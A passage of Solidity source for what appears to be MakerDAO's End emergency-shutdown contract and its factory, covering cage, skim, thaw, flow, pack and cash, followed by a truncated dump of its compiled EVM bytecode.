can now turn their dai into collateral. Each unit dai can claim a fixed basket of collateral. Dai holders must first `pack` some dai into a `bag`. Once packed, dai cannot be unpacked and is not transferrable. More dai can be added to a bag later. 8. `pack(wad)`: - put some dai into a bag in preparation for `cash` Finally, collateral can be obtained with `cash`. The bigger the bag, the more collateral can be released. 9. `cash(ilk, wad)`: - exchange some dai from your bag for gems from a specific ilk - the number of gems is limited by how big your bag is */ contract End { // --- Auth --- mapping (address => uint256) public wards; function rely(address usr) external auth { wards[usr] = 1; emit Rely(usr); } function deny(address usr) external auth { wards[usr] = 0; emit Deny(usr); } modifier auth { require(wards[msg.sender] == 1, "End/not-authorized"); _; } // --- Data --- VatLike public vat; // CDP Engine CatLike public cat; DogLike public dog; VowLike public vow; // Debt Engine PotLike public pot; SpotLike public spot; uint256 public live; // Active Flag uint256 public when; // Time of cage [unix epoch time] uint256 public wait; // Processing Cooldown Length [seconds] uint256 public debt; // Total outstanding dai following processing [rad] mapping (bytes32 => uint256) public tag; // Cage price [ray] mapping (bytes32 => uint256) public gap; // Collateral shortfall [wad] mapping (bytes32 => uint256) public Art; // Total debt per ilk [wad] mapping (bytes32 => uint256) public fix; // Final cash price [ray] mapping (address => uint256) public bag; // [wad] mapping (bytes32 => mapping (address => uint256)) public out; // [wad] // --- Events --- event Rely(address indexed usr); event Deny(address indexed usr); event File(bytes32 indexed what, uint256 data); event File(bytes32 indexed what, address data); event Cage(); event Cage(bytes32 indexed ilk); event Snip(bytes32 indexed ilk, uint256 indexed id, address indexed usr, uint256 tab, uint256 lot, uint256 art); event Skip(bytes32 indexed ilk, uint256 indexed id, address indexed usr, uint256 tab, uint256 lot, uint256 art); event Skim(bytes32 indexed ilk, address indexed urn, uint256 wad, uint256 art); event Free(bytes32 indexed ilk, address indexed usr, uint256 ink); event Thaw(); event Flow(bytes32 indexed ilk); event Pack(address indexed usr, uint256 wad); event Cash(bytes32 indexed ilk, address indexed usr, uint256 wad); // --- Init --- constructor() public { wards[msg.sender] = 1; live = 1; emit Rely(msg.sender); } // --- Math --- uint256 constant WAD = 10 ** 18; uint256 constant RAY = 10 ** 27; function add(uint256 x, uint256 y) internal pure returns (uint256 z) { z = x + y; require(z >= x); } function sub(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x - y) <= x); } function mul(uint256 x, uint256 y) internal pure returns (uint256 z) { require(y == 0 || (z = x * y) / y == x); } function min(uint256 x, uint256 y) internal pure returns (uint256 z) { return x <= y ? x : y; } function rmul(uint256 x, uint256 y) internal pure returns (uint256 z) { z = mul(x, y) / RAY; } function wdiv(uint256 x, uint256 y) internal pure returns (uint256 z) { z = mul(x, WAD) / y; } // --- Administration --- function file(bytes32 what, address data) external auth { require(live == 1, "End/not-live"); if (what == "vat") vat = VatLike(data); else if (what == "cat") cat = CatLike(data); else if (what == "dog") dog = DogLike(data); else if (what == "vow") vow = VowLike(data); else if (what == "pot") pot = PotLike(data); else if (what == "spot") spot = SpotLike(data); else revert("End/file-unrecognized-param"); emit File(what, data); } function file(bytes32 what, uint256 data) external auth { require(live == 1, "End/not-live"); if (what == "wait") wait = data; else revert("End/file-unrecognized-param"); emit File(what, data); } // --- Settlement --- function cage() external auth { require(live == 1, "End/not-live"); live = 0; when = block.timestamp; vat.cage(); cat.cage(); dog.cage(); vow.cage(); spot.cage(); pot.cage(); emit Cage(); } function cage(bytes32 ilk) external { require(live == 0, "End/still-live"); require(tag[ilk] == 0, "End/tag-ilk-already-defined"); (Art[ilk],,,,) = vat.ilks(ilk); (PipLike pip,) = spot.ilks(ilk); // par is a ray, pip returns a wad tag[ilk] = wdiv(spot.par(), uint256(pip.read())); emit Cage(ilk); } function snip(bytes32 ilk, uint256 id) external { require(tag[ilk] != 0, "End/tag-ilk-not-defined"); (address _clip,,,) = dog.ilks(ilk); ClipLike clip = ClipLike(_clip); (, uint256 rate,,,) = vat.ilks(ilk); (, uint256 tab, uint256 lot, address usr,,) = clip.sales(id); vat.suck(address(vow), address(vow), tab); clip.yank(id); uint256 art = tab / rate; Art[ilk] = add(Art[ilk], art); require(int256(lot) >= 0 && int256(art) >= 0, "End/overflow"); vat.grab(ilk, usr, address(this), address(vow), int256(lot), int256(art)); emit Snip(ilk, id, usr, tab, lot, art); } function skip(bytes32 ilk, uint256 id) external { require(tag[ilk] != 0, "End/tag-ilk-not-defined"); (address _flip,,) = cat.ilks(ilk); FlipLike flip = FlipLike(_flip); (, uint256 rate,,,) = vat.ilks(ilk); (uint256 bid, uint256 lot,,,, address usr,, uint256 tab) = flip.bids(id); vat.suck(address(vow), address(vow), tab); vat.suck(address(vow), address(this), bid); vat.hope(address(flip)); flip.yank(id); uint256 art = tab / rate; Art[ilk] = add(Art[ilk], art); require(int256(lot) >= 0 && int256(art) >= 0, "End/overflow"); vat.grab(ilk, usr, address(this), address(vow), int256(lot), int256(art)); emit Skip(ilk, id, usr, tab, lot, art); } function skim(bytes32 ilk, address urn) external { require(tag[ilk] != 0, "End/tag-ilk-not-defined"); (, uint256 rate,,,) = vat.ilks(ilk); (uint256 ink, uint256 art) = vat.urns(ilk, urn); uint256 owe = rmul(rmul(art, rate), tag[ilk]); uint256 wad = min(ink, owe); gap[ilk] = add(gap[ilk], sub(owe, wad)); require(wad <= 2**255 && art <= 2**255, "End/overflow"); vat.grab(ilk, urn, address(this), address(vow), -int256(wad), -int256(art)); emit Skim(ilk, urn, wad, art); } function free(bytes32 ilk) external { require(live == 0, "End/still-live"); (uint256 ink, uint256 art) = vat.urns(ilk, msg.sender); require(art == 0, "End/art-not-zero"); require(ink <= 2**255, "End/overflow"); vat.grab(ilk, msg.sender, msg.sender, address(vow), -int256(ink), 0); emit Free(ilk, msg.sender, ink); } function thaw() external { require(live == 0, "End/still-live"); require(debt == 0, "End/debt-not-zero"); require(vat.dai(address(vow)) == 0, "End/surplus-not-zero"); require(block.timestamp >= add(when, wait), "End/wait-not-finished"); debt = vat.debt(); emit Thaw(); } function flow(bytes32 ilk) external { require(debt != 0, "End/debt-zero"); require(fix[ilk] == 0, "End/fix-ilk-already-defined"); (, uint256 rate,,,) = vat.ilks(ilk); uint256 wad = rmul(rmul(Art[ilk], rate), tag[ilk]); fix[ilk] = mul(sub(wad, gap[ilk]), RAY) / (debt / RAY); emit Flow(ilk); } function pack(uint256 wad) external { require(debt != 0, "End/debt-zero"); vat.move(msg.sender, address(vow), mul(wad, RAY)); bag[msg.sender] = add(bag[msg.sender], wad); emit Pack(msg.sender, wad); } function cash(bytes32 ilk, uint256 wad) external { require(fix[ilk] != 0, "End/fix-ilk-not-defined"); vat.flux(ilk, address(this), msg.sender, rmul(wad, fix[ilk])); out[ilk][msg.sender] = add(out[ilk][msg.sender], wad); require(out[ilk][msg.sender] <= bag[msg.sender], "End/insufficient-bag-balance"); emit Cash(ilk, msg.sender, wad); } } contract EndFab { function newEnd(address owner) public returns (End end) { end = new End(); end.rely(owner); end.deny(address(this)); } }
0x608060405234801561001057600080fd5b506004361061002b5760003560e01c80636812273414610030575b600080fd5b6100726004803603602081101561004657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061009e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60006040516100ac906101d2565b604051809103906000f0801580156100c8573d6000803e3d6000fd5b5090508073ffffffffffffffffffffffffffffffffffffffff166365fae35e836040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b15801561013457600080fd5b505af1158015610148573d6000803e3d6000fd5b505050508073ffffffffffffffffffffffffffffffffffffffff16639c52a7f1306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b1580156101b557600080fd5b505af11580156101c9573d6000803e3d6000fd5b50505050919050565b6141da806101e08339019056fe608060405234801561001057600080fd5b5060016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060016007819055503373ffffffffffffffffffffffffffffffffffffffff167fdd0e34038ac38b2a1ce960229778ac48a8719bc900b6c4f8d0475c6e8b385a6060405160405180910390a261412b806100af6000396000f3fe608060405234801561001057600080fd5b50600436106101e55760003560e01c806389ea45d31161010f578063d4e8be83116100a2578063e488181311610071578063e488181314610794578063e6ee62aa146107c8578063ee6447b51461080a578063fe8507c61461084c576101e5565b8063d4e8be83146106b8578063e1340a3d14610706578063e2702fdc14610748578063e2b0caef14610776576101e5565b8063bf353dbb116100de578063bf353dbb1461059c578063c3b3ad7f146105f4578063c83062c614610628578063c939ebfc14610656576101e5565b806389ea45d3146104945780639255f809146104e2578063957aa58c1461053a5780639c52a7f114610558576101e5565b80635920375c1161018757806365fae35e1161015657806365fae35e146103e457806369245009146104285780636ea42555146104325780636f265b9314610460576101e5565b80635920375c14610346578063626cb3c51461035057806363fad85e1461038457806364bd7013146103c6576101e5565b806338c6de40116101c357806338c6de40146102745780634a10eaa6146102ac5780634ba2363a146102da578063503ecf061461030e576101e5565b80630dca59c1146101ea57806329ae81141461020857806336569e7714610240575b600080fd5b6101f2610884565b6040518082815260200191505060405180910390f35b61023e6004803603604081101561021e57600080fd5b81019080803590602001909291908035906020019092919050505061088a565b005b610248610a94565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102aa6004803603604081101561028a57600080fd5b810190808035906020019092919080359060200190929190505050610aba565b005b6102d8600480360360208110156102c257600080fd5b810190808035906020019092919050505061118c565b005b6102e2611446565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103446004803603604081101561032457600080fd5b81019080803590602001909291908035906020019092919050505061146c565b005b61034e611cdc565b005b610358612083565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103b06004803603602081101561039a57600080fd5b81019080803590602001909291905050506120a9565b6040518082815260200191505060405180910390f35b6103ce6120c1565b6040518082815260200191505060405180910390f35b610426600480360360208110156103fa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506120c7565b005b610430612205565b005b61045e6004803603602081101561044857600080fd5b810190808035906020019092919050505061267a565b005b6104686128d0565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104e0600480360360408110156104aa57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506128f6565b005b610524600480360360208110156104f857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612df4565b6040518082815260200191505060405180910390f35b610542612e0c565b6040518082815260200191505060405180910390f35b61059a6004803603602081101561056e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612e12565b005b6105de600480360360208110156105b257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612f50565b6040518082815260200191505060405180910390f35b6105fc612f68565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106546004803603602081101561063e57600080fd5b8101908080359060200190929190505050612f8e565b005b6106a26004803603604081101561066c57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613361565b6040518082815260200191505060405180910390f35b610704600480360360408110156106ce57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613386565b005b6107326004803603602081101561071c57600080fd5b810190808035906020019092919050505061380b565b6040518082815260200191505060405180910390f35b6107746004803603602081101561075e57600080fd5b8101908080359060200190929190505050613823565b005b61077e613c54565b6040518082815260200191505060405180910390f35b61079c613c5a565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6107f4600480360360208110156107de57600080fd5b8101908080359060200190929190505050613c80565b6040518082815260200191505060405180910390f35b6108366004803603602081101561082057600080fd5b8101908080359060200190929190505050613c98565b6040518082815260200191505060405180910390f35b6108826004803603604081101561086257600080fd5b810190808035906020019092919080359060200190929190505050613cb0565b005b600a5481565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461093e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f456e642f6e6f742d617574686f72697a6564000000000000000000000000000081525060200191505060405180910390fd5b6001600754146109b6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f456e642f6e6f742d6c697665000000000000000000000000000000000000000081525060200191505060405180910390fd5b7f77616974000000000000000000000000000000000000000000000000000000008214156109ea5780600981905550610a58565b6040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f456e642f66696c652d756e7265636f676e697a65642d706172616d000000000081525060200191505060405180910390fd5b817fe986e40cc8c151830d4f61050f4fb2e4add8567caad2d5f5496f9158e91fe4c7826040518082815260200191505060405180910390a25050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b6000848152602001908152602001600020541415610b44576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f456e642f7461672d696c6b2d6e6f742d646566696e656400000000000000000081525060200191505060405180910390fd5b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d9638d36846040518263ffffffff1660e01b815260040180828152602001915050608060405180830381600087803b158015610bbb57600080fd5b505af1158015610bcf573d6000803e3d6000fd5b505050506040513d6080811015610be557600080fd5b8101908080519060200190929190805190602001909291908051906020019092919080519060200190929190505050505050905060008190506000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d9638d36866040518263ffffffff1660e01b81526004018082815260200191505060a060405180830381600087803b158015610c9557600080fd5b505af1158015610ca9573d6000803e3d6000fd5b505050506040513d60a0811015610cbf57600080fd5b81019080805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919050505050505091505060008060008473ffffffffffffffffffffffffffffffffffffffff1663b5f522f7886040518263ffffffff1660e01b81526004018082815260200191505060c06040518083038186803b158015610d5457600080fd5b505afa158015610d68573d6000803e3d6000fd5b505050506040513d60c0811015610d7e57600080fd5b81019080805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190505050505093509350935050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f24e23eb600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16866040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b158015610ebf57600080fd5b505af1158015610ed3573d6000803e3d6000fd5b505050508473ffffffffffffffffffffffffffffffffffffffff166326e027f1886040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b158015610f2a57600080fd5b505af1158015610f3e573d6000803e3d6000fd5b505050506000848481610f4d57fe5b049050610f6d600d60008b8152602001908152602001600020548261402d565b600d60008b81526020019081526020016000208190555060008312158015610f96575060008112155b611008576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f456e642f6f766572666c6f77000000000000000000000000000000000000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637bab3f408a8430600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1688876040518763ffffffff1660e01b8152600401808781526020018673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020019650505050505050600060405180830381600087803b15801561110957600080fd5b505af115801561111d573d6000803e3d6000fd5b505050508173ffffffffffffffffffffffffffffffffffffffff16888a7ffc67e20caaffa015d51f696df8ea5c273ba269c69bdc2ec31c1334d01286eaa487878660405180848152602001838152602001828152602001935050505060405180910390a4505050505050505050565b6000600a541415611205576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f456e642f646562742d7a65726f0000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600e6000838152602001908152602001600020541461128e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f456e642f6669782d696c6b2d616c72656164792d646566696e6564000000000081525060200191505060405180910390fd5b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d9638d36836040518263ffffffff1660e01b81526004018082815260200191505060a060405180830381600087803b15801561130557600080fd5b505af1158015611319573d6000803e3d6000fd5b505050506040513d60a081101561132f57600080fd5b81019080805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919050505050505091505060006113a9611390600d60008681526020019081526020016000205484614047565b600b600086815260200190815260200160002054614047565b90506b033b2e3c9fd0803ce8000000600a54816113c257fe5b046113f56113e383600c600088815260200190815260200160002054614070565b6b033b2e3c9fd0803ce800000061408a565b816113fc57fe5b04600e600085815260200190815260200160002081905550827f8d1d5ae676a6db1f6f14414f8a6c78941bbfb700fe3f3be6d3245f26c2f2d55060405160405180910390a2505050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b60008481526020019081526020016000205414156114f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f456e642f7461672d696c6b2d6e6f742d646566696e656400000000000000000081525060200191505060405180910390fd5b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d9638d36846040518263ffffffff1660e01b815260040180828152602001915050606060405180830381600087803b15801561156d57600080fd5b505af1158015611581573d6000803e3d6000fd5b505050506040513d606081101561159757600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050905060008190506000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d9638d36866040518263ffffffff1660e01b81526004018082815260200191505060a060405180830381600087803b15801561163c57600080fd5b505af1158015611650573d6000803e3d6000fd5b505050506040513d60a081101561166657600080fd5b8101908080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291905050505050509150506000806000808573ffffffffffffffffffffffffffffffffffffffff16634423c5f1896040518263ffffffff1660e01b8152600401808281526020019150506101006040518083038186803b1580156116fd57600080fd5b505afa158015611711573d6000803e3d6000fd5b505050506040513d61010081101561172857600080fd5b810190808051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190505050975050965050505093509350600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f24e23eb600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b15801561188057600080fd5b505af1158015611894573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f24e23eb600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1630876040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b15801561196b57600080fd5b505af115801561197f573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a3b22fc4876040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b158015611a0e57600080fd5b505af1158015611a22573d6000803e3d6000fd5b505050508573ffffffffffffffffffffffffffffffffffffffff166326e027f1896040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b158015611a7957600080fd5b505af1158015611a8d573d6000803e3d6000fd5b505050506000858281611a9c57fe5b049050611abc600d60008c8152602001908152602001600020548261402d565b600d60008c81526020019081526020016000208190555060008412158015611ae5575060008112155b611b57576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f456e642f6f766572666c6f77000000000000000000000000000000000000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637bab3f408b8530600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1689876040518763ffffffff1660e01b8152600401808781526020018673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020019650505050505050600060405180830381600087803b158015611c5857600080fd5b505af1158015611c6c573d6000803e3d6000fd5b505050508273ffffffffffffffffffffffffffffffffffffffff16898b7fbfa2310a8897203a59922debd0db38279196d8de5050df84608e2bb3e7790f6985888660405180848152602001838152602001828152602001935050505060405180910390a450505050505050505050565b600060075414611d54576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f456e642f7374696c6c2d6c69766500000000000000000000000000000000000081525060200191505060405180910390fd5b6000600a5414611dcc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f456e642f646562742d6e6f742d7a65726f00000000000000000000000000000081525060200191505060405180910390fd5b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636c25b346600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611e7957600080fd5b505afa158015611e8d573d6000803e3d6000fd5b505050506040513d6020811015611ea357600080fd5b810190808051906020019092919050505014611f27576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f456e642f737572706c75732d6e6f742d7a65726f00000000000000000000000081525060200191505060405180910390fd5b611f3560085460095461402d565b421015611faa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f456e642f776169742d6e6f742d66696e6973686564000000000000000000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dca59c16040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561201457600080fd5b505af1158015612028573d6000803e3d6000fd5b505050506040513d602081101561203e57600080fd5b8101908080519060200190929190505050600a819055507f4df15159e645ba7d02cadde0bc937abef5ad0134623c00de50a31750b85978b960405160405180910390a1565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e6020528060005260406000206000915090505481565b60095481565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461217b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f456e642f6e6f742d617574686f72697a6564000000000000000000000000000081525060200191505060405180910390fd5b60016000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff167fdd0e34038ac38b2a1ce960229778ac48a8719bc900b6c4f8d0475c6e8b385a6060405160405180910390a250565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146122b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f456e642f6e6f742d617574686f72697a6564000000000000000000000000000081525060200191505060405180910390fd5b600160075414612331576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f456e642f6e6f742d6c697665000000000000000000000000000000000000000081525060200191505060405180910390fd5b600060078190555042600881905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663692450096040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156123aa57600080fd5b505af11580156123be573d6000803e3d6000fd5b50505050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663692450096040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561242c57600080fd5b505af1158015612440573d6000803e3d6000fd5b50505050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663692450096040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156124ae57600080fd5b505af11580156124c2573d6000803e3d6000fd5b50505050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663692450096040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561253057600080fd5b505af1158015612544573d6000803e3d6000fd5b50505050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663692450096040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156125b257600080fd5b505af11580156125c6573d6000803e3d6000fd5b50505050600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663692450096040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561263457600080fd5b505af1158015612648573d6000803e3d6000fd5b505050507f2308ed18a14e800c39b86eb6ea43270105955ca385b603b64eca89f98ae8fbda60405160405180910390a1565b6000600a5414156126f3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f456e642f646562742d7a65726f0000000000000000000000000000000000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663bb35783b33600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661276b856b033b2e3c9fd0803ce800000061408a565b6040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b1580156127db57600080fd5b505af11580156127ef573d6000803e3d6000fd5b5050505061283c600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548261402d565b600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff167f47a981d8cbc0f6df64c9be4ce0a423071a088bd46c549bbd11a4d566e031fe0c826040518082815260200191505060405180910390a250565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b6000848152602001908152602001600020541415612980576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f456e642f7461672d696c6b2d6e6f742d646566696e656400000000000000000081525060200191505060405180910390fd5b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d9638d36846040518263ffffffff1660e01b81526004018082815260200191505060a060405180830381600087803b1580156129f757600080fd5b505af1158015612a0b573d6000803e3d6000fd5b505050506040513d60a0811015612a2157600080fd5b810190808051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190505050505050915050600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632424be5c86866040518363ffffffff1660e01b8152600401808381526020018273ffffffffffffffffffffffffffffffffffffffff168152602001925050506040805180830381600087803b158015612af557600080fd5b505af1158015612b09573d6000803e3d6000fd5b505050506040513d6040811015612b1f57600080fd5b810190808051906020019092919080519060200190929190505050915091506000612b66612b4d8386614047565b600b600089815260200190815260200160002054614047565b90506000612b7484836140b6565b9050612b9c600c600089815260200190815260200160002054612b978484614070565b61402d565b600c6000898152602001908152602001600020819055507f80000000000000000000000000000000000000000000000000000000000000008111158015612c0357507f80000000000000000000000000000000000000000000000000000000000000008311155b612c75576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f456e642f6f766572666c6f77000000000000000000000000000000000000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637bab3f40888830600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1686600003896000036040518763ffffffff1660e01b8152600401808781526020018673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020019650505050505050600060405180830381600087803b158015612d7c57600080fd5b505af1158015612d90573d6000803e3d6000fd5b505050508573ffffffffffffffffffffffffffffffffffffffff16877fa05b7b56166c25efbac063da905f9ea6aa1dc5101f95b43c7a838aace979ab598386604051808381526020018281526020019250505060405180910390a350505050505050565b600f6020528060005260406000206000915090505481565b60075481565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414612ec6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f456e642f6e6f742d617574686f72697a6564000000000000000000000000000081525060200191505060405180910390fd5b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff167f184450df2e323acec0ed3b5c7531b81f9b4cdef7914dfd4c0a4317416bb5251b60405160405180910390a250565b60006020528060005260406000206000915090505481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600060075414613006576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f456e642f7374696c6c2d6c69766500000000000000000000000000000000000081525060200191505060405180910390fd5b600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffff